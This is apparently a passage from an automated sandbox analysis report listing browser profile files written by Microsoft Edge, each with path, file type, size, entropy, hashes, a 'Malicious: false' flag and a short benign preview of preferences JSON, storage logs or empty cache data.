Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"last_update_date":"133407612

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40d2b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7727
Entropy (8bit):	4.912703417258029
Encrypted:	false
SSDEEP:	96:sV85qlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gS5Ak:sV85beJmmAlNY2wAYPpj+FVA3I/SFJf
MD5:	08430C1D82FF0CB8D26F1E26A563D3F1
SHA1:	0E439808B7859C08C157B802B8FE66AF247ECB6C
SHA-256:	6892514D7FA6CA4041D800F32008A58F45D520BAEE27F271899792F5F753DE35
SHA-512:	D86D0ECA96C0FD81BC10CFAF4726C4B4ADD868FB78C5F99BAA5CDC872F1A3326B1208E40C5CCB38A4D76387A3658619BA585357BF020C301ED143C73BE3E416D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"last_update_date":"133407612

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44245.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7727
Entropy (8bit):	4.912703417258029
Encrypted:	false
SSDEEP:	96:sV85qlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gS5Ak:sV85beJmmAlNY2wAYPpj+FVA3I/SFJf
MD5:	08430C1D82FF0CB8D26F1E26A563D3F1
SHA1:	0E439808B7859C08C157B802B8FE66AF247ECB6C
SHA-256:	6892514D7FA6CA4041D800F32008A58F45D520BAEE27F271899792F5F753DE35
SHA-512:	D86D0ECA96C0FD81BC10CFAF4726C4B4ADD868FB78C5F99BAA5CDC872F1A3326B1208E40C5CCB38A4D76387A3658619BA585357BF020C301ED143C73BE3E416D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"last_update_date":"133407612

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46d9b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7727
Entropy (8bit):	4.912703417258029
Encrypted:	false
SSDEEP:	96:sV85qlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gS5Ak:sV85beJmmAlNY2wAYPpj+FVA3I/SFJf
MD5:	08430C1D82FF0CB8D26F1E26A563D3F1
SHA1:	0E439808B7859C08C157B802B8FE66AF247ECB6C
SHA-256:	6892514D7FA6CA4041D800F32008A58F45D520BAEE27F271899792F5F753DE35
SHA-512:	D86D0ECA96C0FD81BC10CFAF4726C4B4ADD868FB78C5F99BAA5CDC872F1A3326B1208E40C5CCB38A4D76387A3658619BA585357BF020C301ED143C73BE3E416D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"last_update_date":"133407612

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566260375454239
Encrypted:	false
SSDEEP:	768:8w8pX0WP3bfpI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezcgxrwWp3tu6:8w8pX0WP3bfpIu1jar4gCat5
MD5:	74FFE08DD7F95491FF1D0A5FA0C0DFE8
SHA1:	CCDF9EDDEF01E0B64EFD7772E1163CF0B3817137
SHA-256:	17156CD096AC83F0FE060F3D991D920A09B201358E1D458CCF718950CEA84ED3
SHA-512:	3A1AD170C99653D7BDA88C9A3D1C9B755762F84C4665AC017FA6029B7F5BD5BE335E67C23B1820145DB8F85C72AABABF1C6A19254377774800D6DB5F30221BBF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3aa99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566260375454239
Encrypted:	false
SSDEEP:	768:8w8pX0WP3bfpI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezcgxrwWp3tu6:8w8pX0WP3bfpIu1jar4gCat5
MD5:	74FFE08DD7F95491FF1D0A5FA0C0DFE8
SHA1:	CCDF9EDDEF01E0B64EFD7772E1163CF0B3817137
SHA-256:	17156CD096AC83F0FE060F3D991D920A09B201358E1D458CCF718950CEA84ED3
SHA-512:	3A1AD170C99653D7BDA88C9A3D1C9B755762F84C4665AC017FA6029B7F5BD5BE335E67C23B1820145DB8F85C72AABABF1C6A19254377774800D6DB5F30221BBF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF439d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566260375454239
Encrypted:	false
SSDEEP:	768:8w8pX0WP3bfpI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezcgxrwWp3tu6:8w8pX0WP3bfpIu1jar4gCat5
MD5:	74FFE08DD7F95491FF1D0A5FA0C0DFE8
SHA1:	CCDF9EDDEF01E0B64EFD7772E1163CF0B3817137
SHA-256:	17156CD096AC83F0FE060F3D991D920A09B201358E1D458CCF718950CEA84ED3
SHA-512:	3A1AD170C99653D7BDA88C9A3D1C9B755762F84C4665AC017FA6029B7F5BD5BE335E67C23B1820145DB8F85C72AABABF1C6A19254377774800D6DB5F30221BBF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF463a8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566260375454239
Encrypted:	false
SSDEEP:	768:8w8pX0WP3bfpI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezcgxrwWp3tu6:8w8pX0WP3bfpIu1jar4gCat5
MD5:	74FFE08DD7F95491FF1D0A5FA0C0DFE8
SHA1:	CCDF9EDDEF01E0B64EFD7772E1163CF0B3817137
SHA-256:	17156CD096AC83F0FE060F3D991D920A09B201358E1D458CCF718950CEA84ED3
SHA-512:	3A1AD170C99653D7BDA88C9A3D1C9B755762F84C4665AC017FA6029B7F5BD5BE335E67C23B1820145DB8F85C72AABABF1C6A19254377774800D6DB5F30221BBF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	2.7061121767675385
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljljl:S85aEFljljljljljljljljljl
MD5:	8A30A1FDD0459D9EA8B1E78A8E636856
SHA1:	9D7225E97F9CFCFB225CFBFD0B0BBA21D4EFDD20
SHA-256:	88FE1D31608930F2738D102D45C75DC77ACDF01A1B69BFB7E7C0281575B75E33
SHA-512:	B529BCE870CD8165BF82F3EBF94F07552467BD0993B9D35145182E54E26FB2AE8E7BB167D88267B632757E2146F27DFDDF8867DB0C66E5DCC306DB12EC6B7BEF
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.13124600499005
Encrypted:	false
SSDEEP:	6:ivw4Q+q2Pwkn23oH+TcwtrQMxIFUt8dvwMDgZmw+dvwXjQVkwOwkn23oH+Tcwtrb:i0+vYfYebCFUt8dq/+da8V5JfYebtJ
MD5:	6C5867FB46328FC5A63196712C35B5CF
SHA1:	DB95B59CD51456930B10E41491502AFE6F966D3B
SHA-256:	791DB3A776B4009140E80CDA9245A017C06D212CDE26F775F818A6922510CC8B
SHA-512:	F657D4BF12FBA7631182DEDE0B620789908818A5C6820B0B2C7F8D1F059E3DB4CA093D76BFDD87365212B19A835C2A339E1FEAFFE4B839DB81361A949F6C0E7D
Malicious:	false
Preview:	2024/12/27-08:43:12.116 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/27-08:43:12.118 1cdc Recovering log #3.2024/12/27-08:43:12.120 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.13124600499005
Encrypted:	false
SSDEEP:	6:ivw4Q+q2Pwkn23oH+TcwtrQMxIFUt8dvwMDgZmw+dvwXjQVkwOwkn23oH+Tcwtrb:i0+vYfYebCFUt8dq/+da8V5JfYebtJ
MD5:	6C5867FB46328FC5A63196712C35B5CF
SHA1:	DB95B59CD51456930B10E41491502AFE6F966D3B
SHA-256:	791DB3A776B4009140E80CDA9245A017C06D212CDE26F775F818A6922510CC8B
SHA-512:	F657D4BF12FBA7631182DEDE0B620789908818A5C6820B0B2C7F8D1F059E3DB4CA093D76BFDD87365212B19A835C2A339E1FEAFFE4B839DB81361A949F6C0E7D
Malicious:	false
Preview:	2024/12/27-08:43:12.116 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/27-08:43:12.118 1cdc Recovering log #3.2024/12/27-08:43:12.120 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.19475621924218
Encrypted:	false
SSDEEP:	6:ixfs9+q2Pwkn23oH+Tcwt7Uh2ghZIFUt8dxfsJZmw+dxfcYNVkwOwkn23oH+TcwK:ixfbvYfYebIhHh2FUt8dxf+/+dxfck5K
MD5:	D85B0C874EB667C09E3C23F7B9A12EAA
SHA1:	90C5B8B30E9FBD8E3781D22CE408634237109398
SHA-256:	681B1DB6C050BF48B7308528E734072B740BEE6E092FBB33EA85DB55C7AF1FF6
SHA-512:	60C3460A7960EC111364B3B73A83C7E926FDB0AD15E68D504EA629892313FC980B4DBA62A0551E1A55A5204CF28B382C9386EEC84B7237DA004799CA15B4D23A
Malicious:	false
Preview:	2024/12/27-08:42:55.118 b78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/27-08:42:55.118 b78 Recovering log #3.2024/12/27-08:42:55.119 b78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.19475621924218
Encrypted:	false
SSDEEP:	6:ixfs9+q2Pwkn23oH+Tcwt7Uh2ghZIFUt8dxfsJZmw+dxfcYNVkwOwkn23oH+TcwK:ixfbvYfYebIhHh2FUt8dxf+/+dxfck5K
MD5:	D85B0C874EB667C09E3C23F7B9A12EAA
SHA1:	90C5B8B30E9FBD8E3781D22CE408634237109398
SHA-256:	681B1DB6C050BF48B7308528E734072B740BEE6E092FBB33EA85DB55C7AF1FF6
SHA-512:	60C3460A7960EC111364B3B73A83C7E926FDB0AD15E68D504EA629892313FC980B4DBA62A0551E1A55A5204CF28B382C9386EEC84B7237DA004799CA15B4D23A
Malicious:	false
Preview:	2024/12/27-08:42:55.118 b78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/12/27-08:42:55.118 b78 Recovering log #3.2024/12/27-08:42:55.119 b78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulSDo:Ls3E
MD5:	7013FCE2DAE7DC24C6653958D2C203E7
SHA1:	519D28BDDF797D3326AABF9431AD59E80CFF9D83
SHA-256:	246244331019C5B88069FEE5FED034337C99F3442987A40156A613BC9DC70B02
SHA-512:	18A0F3DED83CBE5300681E180EED8EEA4CCC700745458A80B0164DA49618DB70D69734523C9674B60BCAE3ECF28CF7950896F43374412838972A2D14037CFC22
Malicious:	false
Preview:	............................................./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl794/l:Ls37yt
MD5:	07FC4723B493A1C55063C0A94586D1A8
SHA1:	235D0EFD72B86BC223EB028F28B63F66876D8470
SHA-256:	8122B6B58062D0828ACF9BF61D907633C30AB0DB44B34F8CCB882F8B8BBED896
